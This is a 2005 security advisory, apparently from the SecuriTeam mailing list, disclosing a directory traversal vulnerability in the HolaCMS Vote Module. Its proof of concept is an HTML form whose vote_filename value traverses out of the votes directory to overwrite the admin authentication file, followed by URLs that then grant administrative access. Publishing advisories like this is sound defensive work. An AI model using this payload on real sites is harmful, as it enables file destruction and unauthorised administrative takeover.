[UNIX] HolaCMS Arbitrary File Access

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To: list@securiteam.com
Date: 17 Mar 2005 11:48:58 +0200

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  HolaCMS Arbitrary File Access
------------------------------------------------------------------------

SUMMARY

An input validation vulnerability was reported in
<http://holacms.drunkencat.net/> HolaCMS in the Vote Module. The
vulnerability allows a remote user to modify files on the target system.

DETAILS

The Vote-Module doesn't check if the submitted "vote_filename" variable is
in the holaDB/votes/ directory or outside it. By utilizing directory
traversal attack on the vote_filename parameter, for example
holaDB/votes/../../, a remote attacker can modify local files that reside
outside the holaDB directory.

By exploiting this vulnerability a remote user can manipulate or destroy
system files - not only the ones in the CMS but every file accessible to
HTTP server.

Proof of Concept:
Create this HTML form:
<form action="http://[target]/[site-with-vote].php?vote=1" method="POST">
<input type="hidden" name="vote_filename"
value="holaDB/votes/../../admin/multiuser/multiuser.php">
<input type="hidden" name="result" value="0">
<input type="submit" value="Stimme abgeben" name="button">
</form>

Now edit [target] and [site-with-vote] to match your site, when you push
the button the first lines of the multiuser.php (which includes the
authentication mechanism) is overwritten. This means that now when you
call the page http://[target]/admin/index_cms.php you will have access to
all administrative functions by calling URLs like:
http://[target]/admin/[module you want].php?username=siteadmin

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory05@konfiweb.de>
Virginity Security.

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